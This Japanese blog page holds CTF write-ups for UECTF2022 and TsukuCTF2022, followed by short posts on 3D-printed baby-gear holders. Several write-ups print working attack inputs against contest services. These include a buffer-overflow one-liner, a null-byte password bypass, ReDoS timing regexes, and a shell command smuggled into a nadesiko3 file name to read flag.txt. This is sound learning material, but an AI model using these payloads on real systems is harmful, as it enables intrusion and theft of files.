しょんぼり技術メモ

まいにちがしょんぼり

UECTF2022に参加した

前回、TsukuCTFで人生初CTF参加を果たし、その面白さを知ってしまった。そんなタイミングで、初心者向けCTFとしてUECTF2022が開催されたので参加しました。その結果、23/25問をクリアして、6位でした。

uectf.uec.tokyo

タイミング的には本来は外出の予定が入ってたんですが、家族揃って風邪引いたため予定がキャンセルとなり、結果的には腰を据えて取り組むことができました。開催期間が長いのも所帯持ちにはありがたいですねホント……

今回はメモをちゃんと残しながら解いていったので、その順番に書いていきます。

MISC/WELCOME (88solves)

discordにflagが貼ってある。

UECTF{C4PTURE_TH3_FL4G_2022}

MISC/carsar (68solves)

caesar_source.py を読んでいくと、ちょっと拡張したシーザー暗号の様子。シフト数は+14で、文字範囲(letter)は AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ となっている。これを通した結果が caesar_output.txt に書いてあり、 2LJ0MF0o&*E&zEhEi&1EKpmm&J3s1Ej)(zlYG となる。

というわけで、素直に逆の処理を行えばOK。

from string import ascii_uppercase,ascii_lowercase,digits,punctuation

CRYPTED = "2LJ0MF0o&*E&zEhEi&1EKpmm&J3s1Ej)(zlYG"

def decode(crypted):
  plain=''
  for i in crypted:
    index=letter.index(i)
    plain=plain+letter[(index-14)%len(letter)]
  return plain

ascii_all=''
for i in range(len(ascii_uppercase)):
  ascii_all=ascii_all+ascii_uppercase[i]+ascii_lowercase[i]
letter=ascii_all+digits+punctuation
print(decode(CRYPTED))

UECTF{Th15_1s_a_b1t_Diff1Cult_c43seR}

MISC/redaction gone wrong 1 (71solves)

PDFが渡され、おもむろにフラグ文字列が書かれている。が、黒塗りされており、コピー禁止がかかっている。 pdftotextで拾おうとすると"nope"となってしまう。

acrobat readerで開いて、文章を拡大縮小するとラグで黒塗り部分がズレて一瞬読めるようになるので、キャプチャして読み取ろう……と思ったが、実は黒塗り部分は選択して削除できる。

UECTF{PDFs_AR3_D1ffiCulT_74d21e8}

REV/A file (81solves)

とりあえず問題ファイルをfileコマンドに掛けるとXZ compressed dataと出てくる。chall.xzにリネームして展開するとELFバイナリが出てくる。

stringsするとそれっぽく出てくるが、まあ罠ですよね。

The flag is below:
UECTF{Linux_c0mm4nDs_ar3_50_h3LPFU1!}
Nice try, but you need to do a bit more...

というわけでGhidraで開いて処理を追いかけたものの、Nice try, but you need to do a bit more... が罠の方だった。

UECTF{Linux_c0mm4nDs_ar3_50_h3LPFU1!}

REV/revPython (20solves)

Pythonコンパイル済みバイナリであるpycが提供される。丁寧にcpython-39とファイル名に書いてあるので、python 3.9対応のpycデコンパイラを使う。 pycdcであれば対応しているとのことだったので、逆コンパイルしてみると…未対応の命令で不十分な出力となってしまう。

XOR取ってるのは間違いないんだけど…と思いながら逆アセンブル(こちらは通る)した結果と不十分な逆コンパイルの結果をにらめっこしてコードを補足していく。

from hashlib import sha256
prefix = 'UECTF{'
user_key = input('flag: ')

def H(localvalue = None):
    return sha256(localvalue.encode('utf-8')).hexdigest()


def xor_image(data = None, key = None):
    if type(key) != 'bytes':
        key = bytes(key, 'latin1')
    return byte( [d ^ key[i % len(prefix)] for i, d in enumerate(data)])


def run():
    if (len(user_key) != 31):
        return None
    if (user_key[:len(prefix)] != prefix):
        return None
    KEY = "ce6f4d9b828498b851adea9ba3bd5f6e21ec3f1a463616ed0d3ebd61954d3448"
    if (H(user_key) != KEY):
        return None
    output = b''
    with open("flag.jpg_", "rb") as image_data:
        output = xor_image(image_data.read(), user_key)
    with open("unpacked", "wb") as f:
        f.write(output)

if __name__ == '__main__':
    run()

というわけで、sha256.hexdigestがce6f4d9b828498b851adea9ba3bd5f6e21ec3f1a463616ed0d3ebd61954d3448となるuser_keyがフラグっぽい。 user_keyは31文字でUECTF{で始まるもの。フラグフォーマットはUECTF{[\x20-\x7e]+}でちょっと広いが。。。

flag.jpg_ を読み込んでuser_keyでXOR取ったものがflag.jpgなので、flag.jpgのJPEGヘッダを復元できるuser_keyを探せば良いのでは?ということで最初の31バイトをそれらしく復元できるuser_keyを探す方向で考えてみる。

と思って適当な文字列で復号化した画像を作成してみたら読める画像ファイルが出来上がった。ヘッダだけちゃんと直せれば大丈夫だったってことか…?

UECTF{oh..did1s0meh0wscr3wup??}

FORENSICS/Deleted (53solves)

イメージファイルが提供されるので、削除されたファイルを探す問題。 とりあえずイメージファイルをfileにかけると、とりあえず素直なNTFSパーティションを持つっぽい。

$ file image.raw
image.raw: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS    ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 63, heads 255, hidden sectors 2048, dos < 4.0 BootSector (0x0), FAT (1Y bit by descriptor); NTFS, sectors/track 63, physical drive 0x80, sectors 16383, $MFT start cluster 682, $MFTMirror start cluster 2, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 06e8081f48081c357; contains bootstrap BOOTMGR

というわけで、ntfsundeleteでスキャンしてみると、flag.png というズバリのファイル(inode=39)が見つかる。

$ ntfsundelete --scan image.raw
Inode    Flags  %age     Date    Time       Size  Filename
-----------------------------------------------------------------------
16       F..!     0%  1970-01-01 09:00         0  <none>
17       F..!     0%  1970-01-01 09:00         0  <none>
18       F..!     0%  1970-01-01 09:00         0  <none>
19       F..!     0%  1970-01-01 09:00         0  <none>
20       F..!     0%  1970-01-01 09:00         0  <none>
21       F..!     0%  1970-01-01 09:00         0  <none>
22       F..!     0%  1970-01-01 09:00         0  <none>
23       F..!     0%  1970-01-01 09:00         0  <none>
37       FR..   100%  2022-11-06 00:19        16  test1.txt
39       FN..   100%  2022-11-08 21:02     11095  flag.png
40       FN..   100%  2022-11-08 12:47    405414  uec.bmp
42       FN..   100%  2022-11-08 21:13    620493  mv_ARIMjapan_pc.png
43       FN..   100%  2022-11-08 21:11    187550  mv_choufusai2022_pc.jpg
47       FN..   100%  2022-11-08 21:11    325942  mv_oc2022-2-1_pc.jpg
49       FN..   100%  2022-11-08 21:14     41353  uec.gif
50       FN..   100%  2022-11-08 20:30     38679  uec.jpg
51       FN..   100%  2022-11-08 21:15    159306  uec.tif
52       F..!     0%  1970-01-01 09:00         0  <none>
$ ntfsundelete image.raw --undelete --inode=39 --output=flag.png
Inode    Flags  %age  Date            Size  Filename
---------------------------------------------------------------
39       FN..     0%  2022-11-08 21:02     11095  flag.png

保存したファイルを開くとフラグが書いてあった。

UECTF{TH1S_1M4G3_H4S_N0T_B33N_D3L3T3D}

CRYPTO/RSA (57solves)

rsa_source.py と output.txt が提供される。後者にRSAのp, q, eと暗号文が入っているので、それを復号する問題。

dを拡張ユークリッドの互除法で求めて計算するだけ(ではあるものの、授業で習ったの十年以上前だよな…という別のポイントで頭が痛くなった)

from Crypto.Util.number import long_to_bytes, GCD

p=1023912815644413192823405424909
q=996359224633488278278270361951
e=65537
cipher=40407051770242960331089168574985439308267920244282326945397

# ref: https://falconctf.hatenablog.com/entry/2019/09/12/204907
def extend_gcd(a,b):
    k_list=[]
    while b != GCD(a,b):
        r = a % b
        k_list.append((a - r) // b)
        a = b
        b = r
    k_list.reverse()
    y = 1
    x = 0
    for k in k_list:
        temp_y = y
        y = x - k * temp_y
        x = temp_y
    return [x,y]

N=p*q
d, _ = extend_gcd(e, (p-1)*(q-1))
plain = pow(cipher, d, N)
plain_text = long_to_bytes(plain)
print(plain_text.decode('latin1'))

UECTF{RSA-iS-VeRy-51Mp1e}

MISC/redaction gone wrong 2 (54solves)

flag.png が提供される。雑に黒塗り?された画像ファイルだが、うっすら下の文字が読めてしまう。 白レベルを調整してやると文字が見えるようになる。

UECTF{N3ver_ever_use_A_p3n_rofl}

MISC/GIF1 (59solves)

GIFアニメが問題ファイル。graphicsmagickで展開してやる。

$ gm convert UEC_Anime.gif -coalesce +adjoin frame%3d.png

するとframe 85だけファイルサイズが違っており、そこにフラグが書いてある。

UECTF{G1F_4N1M4T10NS_4R3_GR34T!!}

MISC/PDF (16solves)

一貫性のあるPDF という問題。5ページのdummy, 111ページの空白、5ページのdummyという謎のファイル。 acrobat readerで開いていると、ページ番号がおかしな変化をしていくことに気付く。 つらい思いをしながら一文字一文字記録していき、なんとなくbase64に掛けたらフラグが出てきた。

なお途中でいくつかtypoがあり、ふっかつのじゅもんを彷彿とさせる地獄だった。

$ echo "VUVDVEZ7RG8teTBVLWtOb3ctN2hBVC1QZGYtcGE5RS1OdW1CM1I1LUNBTi1VU0UtTEV0N2VSUy0wN2hFci1USDROLVJPbUBuLU5VTTNSNDEkP30i" | base64 --decode; echo
UECTF{Do-y0U-kNow-7hAT-Pdf-pa9E-NumB3R5-CAN-USE-LEt7eRS-07hEr-TH4N-ROm@n-NUM3R41$?}

UECTF{Do-y0U-kNow-7hAT-Pdf-pa9E-NumB3R5-CAN-USE-LEt7eRS-07hEr-TH4N-ROm@n-NUM3R41$?}"

FORENSICS/Compare (33solves)

新旧2つのビットマップファイルが与えられる。

$ hexdump -C UECTF_new.bmp > after.dump
$ hexdump -C UECTF_org.bmp > before.dump
$ diff -u before.dump after.dump

するとフラグがちょっとずつ書いてある。

UECTF{compare_two_files_byte_by_byte}

PWN/buffer_overflow (48solves)

-fno-stack-protectorをつけています。という親切なガイド付き。 コードを見るとscanfでnameに読み込んでいる部分でバッファオーバーフローが起こせる。 debug_flag→name[15]という順番で宣言されているので、name[15]からはみ出した部分がdebug_flagに入ることを利用してdebug_flagを"1"にする。

$ python3 -c 'print("a"*15 + "1")' | nc uectf.uec.tokyo
30002
What is your name?
>[DEBUG]:flag is UECTF{ye4h_th1s_i5_B0f_flag}
Hello aaaaaaaaaaaaaaa1.

UECTF{ye4h_th1s_i5_B0f_flag}

PWN/buffer_overflow_2 (6solves) / 未回答

解けなかった……フラグの気配がないことからなんとかしてシェルコードを実行する必要がありそうだが、スタックオーバーフローがうまくいかず。 ROPがんばる必要があったようです。勉強にはなりました。

MISC/GIF2 (30solves)

今度は人の目に見えないバージョンのGIFアニメ問題。 同様にgmで各フレームに展開し、黒レベルをいじっていくと上の方にフラグ文字列が見える。

UECTF{TH1S_1S_TH3_3NTR4NC3_T0_ST3G4N0GR4PHY}

FORENSICS/Discord 1 (30solves)

discordのデータが提供され、消えた画像ファイルを見つける問題。あからさまに怪しいCacheフォルダがあるので、fileコマンドで見ていくといくつかPNG image dataが出てくる。 しらみつぶしに確認していくと、f_00003a.png にフラグが書いてあった。

UECTF{D1SC0RD_1S_V3RY_US3FUL!!}

MISC/OSINT (13solves)

@yatanano__ というTwitterアカウントについて調べる問題。とりあえず現存しないので、wayback machineにURLを入れてみると10/26のエントリが出てくる。ツイートは3件あるもヒントになりそうなものはなし。

ここでソースコードを見てみると、author.identifierにIDとして1585261641125416961が書いてある。 このIDを変換ツール https://dev.matumo.com/tool/twitter/getid.php でIDから逆引きすると @ftceu であることがわかる。

ここにアクセスすると、pastebinのURLとパスワードが書いてあるのでアクセスしてフラグを得る。

UECTF{ur_a_tw1tter_mast3r__arent_y0u}

REV/captainhook (21solves)

乱数でうまく通ればフラグが出てくるっぽい問題。Ghidraで開き、success になるまでの経路にあるJNZをNOPで潰したらフラグが得られた。 冷静に考えてみれば、JNZをJZにする方がスマートだったと思います。

UECTF{hmmmm_how_did_you_solve_this?}

MISC/WHEREAMI (16solves)

何やら7RJP2C22+2222222のようなものが大量に書いてある問題。 問題文が「あなたの元に「私はどこにいるでしょう?」という件名の謎の文字列が書かれたメールが送られてきました。 さて、これは何を示しているのでしょうか?」というものなので、おそらく座標なんだろうなあと想像しながらいろいろなジオコードを調べてみるもののいまいちピンとこない。

ダメ元でGoogleMapsに入れたところ、すんなり場所にピンが落ちた。(後で調べたらPlusCodeというものらしい。 / 後からヒントとして提供されました)

あとはこれをどうプロットするか、というところ。(当初、これをUTMグリッドだと勘違いしていたので名称にutmを使っていますがpluscodeが正しい) Googleマイマップではcsvをインポートできるので、無理矢理CSVという扱いにして投げ込む。

$ echo "utm,dummy" > mail.csv
$ sed 's/$/,/g' mail.txt >> mail.csv

あとはこのファイルをGoogleマイマップでインポートし、座標も名称もutmフィールドを指定すればピンが大量に置かれる。 その形を読み取ればよい……のですが、大文字小文字が分かりづらくてかなり悩みました。。。

UECTF{D1d_y0u_Kn0w_aB0ut_Km1?}

ちなみに2着でした。おしい…

FORENSICS/Discord2 (21solves)

今度は書きかけのフラグ文字列を探せという問題。フラグだと書いてあるので、UECTF{...}の形式のテキストがどこかにあったらラッキーだなと思ってひとまず雑に探してみる。

$ fgrep -ir uectf *
Binary file Local Storage/leveldb/000004.log matches

$ strings "Local Storage/leveldb/000004.log" | fgrep -i uectf
{"_state":{"1039033893849944084":{"1039070178207617074":{"0":{"timestamp":1667806462142,"draft":"UECTF{Y0U_C4N_S33_Y0UR_DRAFT}"}}}},"_version":2}

いました。こんなストレートに残ってるものなんですね……

UECTF{Y0U_C4N_S33_Y0UR_DRAFT}

REV/discrete (16solves)

フラグチェッカーが提供されるのでフラグを探すという問題。 Ghidraで開いてCorrect, Wrong判定している箇所の周辺を眺めると、

  • 入力は0x22=34文字
  • 3文字ごとにstrncmp()で比較している

ことがわかった。というわけで下記のスクリプトでstrncmp()でブレークさせ、3文字ずつ比較対象のRAXレジスタの値を控えていく。

from pwn import *

elf = ELF("./chall")
context.binary = elf

io = gdb.debug("./chall", '''
b strncmp
''')

#           UECTF{...........................}
payload = b'UECTF{dynamic_static_strings_2022}'

io.sendline(payload)
print(io.recvline())

UECTF{dynamic_static_strings_2022}

WEB/webapi (42solves)

URL( http://uectf.uec.tokyo:4447/ )にアクセスすると、Server Errorとなっている。 コンソールを開くとCORS違反となっていることが確認できるので、curlでそのURLにアクセスすればフラグが得られる。

Access to fetch at 'https://i5omltk3rg2vbwbymc73hnpey40eowfq.lambda-url.ap-northeast-1.on.aws/' from origin 'http://uectf.uec.tokyo:4447' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.
$ curl 'https://i5omltk3rg2vbwbymc73hnpey40eowfq.lambda-url.ap-northeast-1.on.aws/'
UECTF{cors_is_browser_feature}

UECTF{cors_is_browser_feature}

WEB/request-validation (21solves)

「GETリクエストでオブジェクトを送ることができますか?」という問題。まず手元で試せというのでdocker composeで再現しようとしたらpackage.jsonがなくて地味に困る。回答後に問い合わせたら意図したものではなく不備だったとのことでした。

package.jsonをでっち上げて手元環境を作り、console.logを仕込みながらいろいろとリクエストを送ってみる。

処理的には typeof req.request.q === "object"となるように、GETリクエストのqを設定すればよいらしい。というわけで、?q=QQQ&q=qqqのようなリクエストを送ってみると、{q: ["QQQ", "qqq"]}というオブジェクトになることがわかった。

$ curl -XGET 'http://uectf.uec.tokyo:4446/?q=Q&q=q'
UECTF{javascript_is_difficult_dee36611556508c702805b45289d0f65}

UECTF{javascript_is_difficult_dee36611556508c702805b45289d0f65}

PWN/rot13 (6solves) / 未回答

糸口が見当たらず、仮にアドレスをいじくれてもROPなどができる気がしなかったのでパスしました。。。

PWN/guess (19solves)

パスワードをあてよ、という問題だが、ブルートフォースではなく解けるものだそう。 ヒントは「32文字入力するとどうなりますか?」というもの。

32文字きっかり入力すると、bufの次にいるpwの先頭がヌル文字になる。 strncmpでpwとbufを比較しているので、bufの先頭がヌル文字になっていればヌル文字同士の比較となりtrueになることがわかる。

$ echo -en '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' | nc uectf.uec.tokyo 9001
Guess my password
> Correct!!!
UECTF{Wow_are_you_Esper?}

UECTF{Wow_are_you_Esper?}

REV/dotnet (11solves)

.net製のlinuxバイナリが問題ファイル。ILSpyで開いてUECTF2022_dotnetを覗いてみると、UserString Heapに 1EDA23758BE9E36E5E0D2A6A87DE584AACA0193F が見える。SHA1がコレになるのがパスワードっぽい。

が、このSHA1ググるSHA1(Administrator) であることがわかる。 起動して入力するとフラグが得られる。(本来はたぶん難読化された処理を追いかけていくはず…?)

$ ./chall_x86_64_linux
Please input password:
Administrator
UECTF{Applications-created-with-Dotnet-need-to-be-fully-protected!}

UECTF{Applications-created-with-Dotnet-need-to-be-fully-protected!}

感想

PWN/buffer_overflow_2 と PWN/rot13 以外は解けたのでそれなりに達成感を味わえました。と共に、PWN難しいなあ……ちゃんと手を動かして勉強しないとなあ……という気持ちが深まりました。 今回のCTFを通して、Ghidraやpwntools, ILSpyやgraphicsmagickといったツールの使い方も勉強できたので、とても実り多いCTFになりました。

繰り返しになりますが、開催期間が長かったおかげで落ち着いて問題に取り組めました。合間に家事や子供の世話をしても余裕がある、というだけで気軽に参加できるのは本当にありがたいです。

参加者の皆さん、運営の皆さん、お疲れさまでした!

TsukuCTF2022に参加した

fans.sechack365.com

お誘いを受けたものの「都合付くかなあ」と思ってたら思わぬ形で都合がついたので、人生初CTFに参加しました。 直前のAmazonセールでCTF本を買って積み上げた(目次ぐらいは目を通した)状態でのトライでした。write upのためにちゃんとメモを取るということすらしない始末なので、記憶をほじくり返しながら書きます。

OSINT

Attack of Tsukushi

明らかにリヴァイ兵長だったのでググってストビューで特定。

Money

Google Lensに放り込んでストビューで特定。

FlyMeToTheTsukushi

映り込んでる「TAKENOYA」から「TAKENOYA 空港」でググって特定。

inuyama082

Google Lensに放り込んで検索、「よあけや」であることを特定。サイトをググってメニューから特定。

sky

「CentX」から名鉄と判断、問題文とタイトルからミュースカイと踏んで全駅名をトライ。

station

東豊線 北線」で検索、札幌とのこと。黄色地の部分が11丁目に見えたので探したらあった。

douro

地面の「よいほモール」をググってアタリをつけてストビューで特定。左の鉄の棒っぽいものと右の凸型の部分を探した。緯度経度の入力の仕方や切り捨て方を間違えまくって大いに慌てた。

Where

東日本銀行 ジェイエステ」で検索、渋谷だと分かったのでストビューで角度を調節しながら虱潰しに探した。

Gorgeous Interior Bus

「スパあたみ」が読み取れたので検索すると「マリンスパ熱海」が出てくる。バスで検索してバス停のリストを眺めつつそれっぽいものを探すと「サンビーチ→銀座→親水公園→マリンスパあたみ」となり、銀座がこの次のバス停なのでサンビーチと銀座の間の交差点。

Bringer_of_happpiness

「黄色い車体の電車」で検索。最初銚子電鉄だと勘違いして時間を無駄にした。島原鉄道だった。交差点からすぐ駅舎が見える、奥にパチンコ屋が見える、という条件で沿線をひたすら探したら見つかった。

Desk (未回答)

沖縄なのはわかったけどそれより先に進めず。もっといろいろ画像検索するべきだったらしい。

Flash (未回答)

stringsはしたけど気づけなかった。SSID-パスワードをどっかに保存してるんだろうなあ、と思いつつ後回しにしていたが戻ってくる余裕がなかった。

moon (未回答)

「京都」の文字が見えたので「京都 科学館」で検索して片っ端から探してみたがダメだった。観光地だったんですね…

uTSUKUSHIi (未回答)

ブリティッシュショートヘアでハチワレで右前足が靴下なネコチャンをインターネットでいっぱい探した。みつからなかったけどいっぱいネコチャン見てたら幸せな気持ちになったので個人的には500点です。

Web

bughunter

確かに反射型XSSは確認できるものの、いったい何をすれば…?と思ったらタグに「RFC9116」とあって理解した。報告すべきですよね。なるほど。

viewer (未回答)

schemeチェックのコメントからして、なんとかしてこれをすり抜けるんだろうなあと思ったが時間が足りなかった(し、他の人のwrite up見る限りここを抜けても自分の力ではフラグまでは無理だった)

Misc

Lucky Number 777 (未回答)

なんとかしてメソッド呼び出し以外の方法でアクセスできないか調べてたけど諦め。f-stringにそんなのあったんですね…勉強になりました。

soder (15th / 16 solves)

「マッチを試すが結果は返さない」「5秒でタイムアウト」からReDoSを活用するものと想像。手元でいくつか試したところ、

^(TsukuCTF22{試したい正規表現}$|(((((((((((((([a-zA-Z0-9])+)+)+)+)+)+)+)+)+)+)+)+)+))$|

こんな感じのを食わせることで「マッチすれば即返る」「マッチしなければ5秒かかる」という判断ができることに気付いた。まず文字数を確定させたかったので

^(TsukuCTF22{[0-9a-z_]{10,20}}$|(((((((((((((([a-zA-Z0-9])+)+)+)+)+)+)+)+)+)+)+)+)+))$|
^(TsukuCTF22{[0-9a-z_]{21,30}}$|(((((((((((((([a-zA-Z0-9])+)+)+)+)+)+)+)+)+)+)+)+)+))$|

を試すと2行目がマッチしたのでそこから二分探索して25文字と確定。ついでに_[0-9]が一切使われていない可能性もチェック。

あとはひたすら手作業で文字種調査→二分探索しました。本来ならスクリプト書いて自動化するべきなんでしょうけど、CTF初心者にはその冴えたやりかたがわからなかったので…ミスってどこまで調べたかわからなくなったら辛いと思って手元にコピーしてた記録が残ってました。

^(TsukuCTF22{[0-9]_[a-z][0-9][0-9][a-z][a-z][0-9][a-z]_[a-z][0-9][0-9]_[a-z][0-9][a-z][0-9][a-z]_[a-z][0-9][0-9][a-z][0-9]}$|(((((((((((((([a-zA-Z0-9])+)+)+)+)+)+)+)+)+)+)+)+)+))$|

^(TsukuCTF22{4_w47c[a-z][0-9][a-z]_[a-z][0-9][0-9]_[a-z][0-9][a-z][0-9][a-z]_[a-z][0-9][0-9][a-z][0-9]}$|(((((((((((((([a-zA-Z0-9])+)+)+)+)+)+)+)+)+)+)+)+)+))$|

^(TsukuCTF22{4_w47ch3d_p07_n3[a-z][0-9][a-z]_[a-z][0-9][0-9][a-z][0-9]}$|(((((((((((((([a-zA-Z0-9])+)+)+)+)+)+)+)+)+)+)+)+)+))$|

^(TsukuCTF22{4_w47ch3d_p07_n3v3r_b01l5}$|(((((((((((((([a-zA-Z0-9])+)+)+)+)+)+)+)+)+)+)+)+)+))$|

nako3ndbox ( 5th / 6 solves )

  • なでしこが動いていて、ブラックリストにヒットせずにflag.txtを盗み出せば良さそうに見える
  • Dockerfileを見ると RUN npm install -g nadesiko3@3.3.67 の指定があるので、3.3.67以降の修正を見てみると以下のものが見つかる
  • shell-quoteを追加して対応しているので、OSコマンドインジェクションが狙えそう
  • と思ったらテストコードに再現コードが丁寧に掲載してあるので、ありがたく頂戴する
    // (1) 元ファイルへのインジェクション
    const pathSrc = '' +
      `TMP="${tmp}"\n` +
      'FILE=「{TMP}/\'a\'`touch xxx`\'c」;ZIP=「{TMP}/test.zip」\n'
    await cmp(pathSrc +
        'F=「{TMP}/xxx」;Fが存在;もしそうならば、Fをファイル削除;' +
        'FILEへ「abc」を保存。FILEをZIPに圧縮。ZIPが存在。もし,そうならば「ok」と表示。', 'ok')
    await cmp(`${pathSrc}「{TMP}/xxx」が存在。もし,そうならば「OS_INJECTION」と表示。`, '')
  • 要するに、圧縮処理を呼び出す際に、ファイルとして'を含めておいた後にバッククオートでコマンドを埋め込めるように見える
FILEは「/tmp/'a'`sleep 5; sleep 5`'c」。出力先は「/tmp/out.zip」。FILEを出力先に圧縮。
  • とすると10秒スリープするので、ここでは好きなことができそうに見える。とはいえflagという文字列はブラックリストで拒否されるので、組み立ててから投げ込む必要がある。
  • 実際には7zが存在しないため圧縮は完了しないが、STDERRに吐き出せれば応答に含まれて返ってくるので、次のようにしてフラグ獲得。
ターゲット1は「fla」。ターゲットは「{ターゲット1}g.txt」。攻撃コードは「cat {ターゲット} 1>&2」。FILEは「/tmp/'a'`{攻撃コード}`'c」。出力先は「/tmp/out.zip」。FILEを出力先に圧縮。
------------------------------------------------------------
             _        _____           _ _
 _ __   __ _| | _____|___ / _ __   __| | |__   _____  __
| '_ \ / _` | |/ / _ \ |_ \| '_ \ / _` | '_ \ / _ \ \/ /
| | | | (_| |   < (_) |__) | | | | (_| | |_) | (_) >  <
|_| |_|\__,_|_|\_\___/____/|_| |_|\__,_|_.__/ \___/_/\_\

------------------------------------------------------------
日本語コード:TsukuCTF22{y0u_jump3d_0u7_0f_j4p4n353}/bin/sh: 7z: not found
[実行時エラー]app(1行目): Command failed: '7z' a -r '/tmp/out.zip' '/tmp/'\''a'`cat flag.txt 1>&2`'c' -y
TsukuCTF22{y0u_jump3d_0u7_0f_j4p4n353}/bin/sh: 7z: not found

file:///usr/local/lib/node_modules/nadesiko3/core/src/nako_logger.mjs:152
        const e = new NakoRuntimeError(error, posStr);

これはメモ書きながら作業しました。人生初CTFで人生初なでしこ。こういう言語だったんですね…

Hardware

DefuseBomb ( 3rd / 14 solves )

Flag投稿時にtypoしてて心臓止まるかと思った。警告してくれたのに。解けた安心感で完璧に気が緩んでました。

回路図・基板パターンをOneNoteに貼り付けて書き込みながら解きました。アナログ要素なしだったので助かった…

DefBom1

U1がAND、U3がNOR。ピンアサインを書き込みつつU3の1がL出力になるよう追い掛けていく。

  • U3の2か3のどちらかがHに固定できればU3の1がLに固定される
  • U1の11をHにできればU3の2をHにできる
  • U1の12-13は直結していて11にAND出力。なのでU1の12-13がHにできればU1の11をHにできる
  • U1の11はU3の10の出力なので、これをHにするにはU3の8,9をLにすればよい
  • U3の8-9はショート、U3の6にも繋がるがそちらは入力なので無視、とするとR5でプルダウンされている部分を維持できればLに固定できる
  • というわけで4の配線を切断してLに固定すればよい。

DefBom2

ぐえーFETがいっぱい…と思ったら単純にスイッチング素子として使ってるだけだった。3から1に向けての電位差があれば2から3が導通する、というルールに当てはめて追い掛けていく。便宜上ここでもH/Lの表記としています。

  • Q7の2をLにしたいが、R14で強めにプルアップされているのでなんとかしてここをGNDに落としたい
  • つまり、Q7, Q8がONの状態にできればよい
  • Q8はQ3,Q4がOFFならプルアップされてONになる。つまりQ3, Q4の1をLにしたい
  • ハサミ4の箇所はリミットスイッチONで問答無用で+5Vがかかる。ここを切ればQ3,Q4はOFFに固定され、Q8はONに固定できる。保留。
  • Q7はR12でプルダウンされていてLになり得る。するとQ7がOFFになって困るので、R12-Q7をHに持ち上げたい
  • とすると、Q5, Q6がONになるとLにもって行かれるので困る。つまりここの電位差をなくしたい
  • その手前の Q1, Q2 が共にONにできれば、Q1の2をLにできる。つまり、R1の右側をHにしたい。
  • ところで、SW1の起爆ボタンが押された場合、R1は+5Vに持ち上げられる。つまりR1の右側は起爆ボタンでHになる
  • ハサミ4を切っている場合、ボタンを押そうが押すまいが下半分(Q8)はONになる。上半分は、ボタンを押すとQ1, Q2がONになってR5-R7がGNDに落ちるため、Q5がOFFになってR10の箇所がHになりQ7もONになる
  • というわけで4の配線を切断すればよい。

DefBom3

おとなしくKiCADをインストールして基板を眺めます。最初ICの向きをシルク通りだと思って書き込んだらベタGNDじゃなくてベタVccになって困惑しました。逆ですね。

  • ICはNAND。U1には6ピンの出力が繋がっているので、そこがLになるよう追い掛けていく
  • NANDなので、4,5をLにしないと6がHになる。それぞれ追い掛けていく
  • 5をHにするためには8の出力がHになればよい
  • 8をHにするには9か10をLにすればよい。うち9はベタGNDでL固定。なので8は常にH
  • 4をHにするためには3の出力がHになればよい
  • 3をHにするには1=2をLにすればよい。1=2はスイッチが押された場合にHになってしまう。ハサミ2を切れば良さそうに見える
  • ハサミ2を切った場合、13=12はフローティングになるが、どのみち出力は11でこの出力は関係しない。ここを切れば1はプルダウンでLに固定できる
  • というわけで2の配線を切断すればよい。

感想

初CTFでしたが、思ってたよりは解けた気がしますし、なにより楽しかったです。育児・家事・看護割り込みが強烈だったのでなかなか集中して取り組めなかったのが残念ですが、確かに寝食を忘れてのめり込むという魅力が分かった気がします。夢の中でもネトストhhhhOSINTしてました。悪夢。

個人的にはDefuseBombを3/14で解けたのが嬉しかったです。高専時代の知識が生きた感。あとはなでしこも「存在は知ってたけど実際に使ったことなかった」言語の筆頭だったので触る機会が生まれて良かったです。

もうちょっとで解けたのに悔しい!!!みたいな感情はあんまりないので競技CTFガチ勢には向いてなさそうですが、パズル的な感じでこれからもちょっとずつ取り組んでみたいなと思いました。とにかく楽しかったので。

運営の皆さんお疲れさまでした。write up書いてくれた皆さん本当にありがとうございます勉強になります。

ネムリラ BEDi Longのフレームにダイソーのバスケットを固定するホルダを作った

子ども手当特別給付金とその他もろもろの収入があったので、ぐずる赤子氏対策としてネムリラ BEDi Longを購入した。 病院の小児科でも使われているのを見てきっと効果があるに違いないと踏んでのことだったが、実際我が子にはたいへんに効く。

ふだんのお世話に必要なものは、ダイソーで見つけたバスケットに入れてある。オムツやらガーゼハンカチやらオムツ交換用シートやら。こいつの置き場所に地味に困るのと、バウンサーごと部屋を移動する際に持っていくのが面倒という問題をなんとかしたいと思い立った。

f:id:syonbori_tech:20200627180312j:plain

こいつをバウンサーのフレームに固定できると便利そうだ。というわけで、適当に採寸してホルダを作る。

f:id:syonbori_tech:20200627180239j:plain こんな感じで3本作成。

f:id:syonbori_tech:20200627180442j:plain 編み目に突っ込む。3Dプリンタのビルドサイズ制限からこのサイズになっているが、できればもう少し奥まで突き刺したかった。

f:id:syonbori_tech:20200627180502j:plain あとはこんな風にフレームに引っ掛けてやればOK。

f:id:syonbori_tech:20200627180612j:plain これで足下すっきり移動も楽ちん。ついでに電源ケーブルも単品で調達して各部屋に設置したら捗った。

www.thingiverse.com

哺乳瓶を細い水道水で冷やすためのホルダを作った

5月に第三子が産まれ、毎日せっせとミルクを作っては飲ませる生活をしている。 日中の平和な時間帯であれば多少泣かせておいても良いが、深夜だと近所迷惑になるしなにより自分もしんどい。 とはいえ、寝ているところを泣き声で起こされ、急いでミルクを準備している間はどうしても泣かせっぱなしにするしかない。

ミルクを作る時間のうち、大半は「熱湯で作ったミルクを飲める温度まで冷やす時間」である。液体ミルクという高級課金アイテムを使えばこの時間はゼロにできるが、残念ながら石油王ではないので極力温存したい。私はエリクサーを使うのが苦手である。

というわけで、水道水を垂れ流して哺乳瓶を冷やし、その間にだっこして泣き止ませる方針とした。

哺乳瓶にキャップをつけて上から掛け流す方法は、一番手っ取り早いが、大半の水が冷却に寄与することなく流れ落ちるほか、冷却による圧力の関係か、キャップ内に水が入ってしまい不便であるため辞めた。

